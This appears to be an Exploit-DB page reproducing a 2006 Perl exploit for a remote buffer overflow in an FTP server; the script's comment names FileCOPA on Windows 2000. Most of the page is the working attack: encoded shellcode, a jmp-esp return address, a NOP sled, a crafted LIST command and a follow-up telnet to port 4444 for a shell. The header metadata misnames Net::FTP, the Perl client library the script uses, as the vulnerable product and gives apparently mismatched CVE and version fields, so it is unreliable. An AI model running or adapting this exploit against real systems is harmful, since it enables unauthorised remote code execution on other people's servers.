Net::FTP Remote Buffer Overflow

vendor:

Net::FTP

by:

Anonymous

7,5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Net::FTP

Affected Version From: Net::FTP 6/4/2006

Affected Version To: Net::FTP 6/4/2006

Patch Exists: YES

Related CWE: CVE-2006-4343

CPE: a:net_ftp:net_ftp

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2006

Net::FTP Remote Buffer Overflow

This exploit is a buffer overflow vulnerability in the Net::FTP module. It allows an attacker to execute arbitrary code on the target system by sending a maliciously crafted FTP request. The vulnerability is caused by a lack of bounds checking when handling FTP requests, which allows an attacker to overflow the buffer and execute arbitrary code.

Mitigation:

The vulnerability can be mitigated by applying the latest security patches and ensuring that all FTP requests are properly validated.

Source

Exploit-DB raw data:

#!/usr/bin/perl -w
# bad char 0x00 0x0a
# 
# tested on win00 SP4 English on filecopa ftp server 6/4/2006 version
#
#

use Net::FTP;

(($target = $ARGV[0])) || die "usage:$0 <target> <port>";

my $user = "test";
my $pass = "test";


$shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" .
"\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" .
"\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" .
"\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" .
"\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" .
"\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" .
"\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" .
"\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" .
"\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" .
"\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" .
"\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" .
"\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" .
"\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" .
"\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" .
"\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" .
"\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" .
"\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" .
"\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" .
"\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" .
"\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" .
"\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" .
"\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" .
"\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" .
"\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" .
"\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2";







$pad = "\x41"x160;
$nop= "\x90"x283;
$nop1= "\x90"x32;
$jmp = "\xe9\xbf\x2c\xb0\xff"; # jmp to address memory 00552aec
#$eip= "\x45"x4;
$eip= "\x93\x79\x2e\x7c";	# jmp esp in ADVAPI32.dll


$exploit = $pad . $eip . $nop1 . $jmp . $nop . $shellcode . "\r\n";

print ":: Trying to connect to target system at: $target...\n"; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not 
connect: $!";
print "Connected!\n";

$ftp->login($user, $pass) || die "could not login: $!"; 
print "Logged in!\n";

$ftp->command("LIST A", $exploit);
print "Done!\n";


$host = $ARGV[0];
print " +connect to port 4444 of $host ...\n";
sleep(3);
system("telnet $host 4444");

$ftp->quit; 

# milw0rm.com [2006-07-20]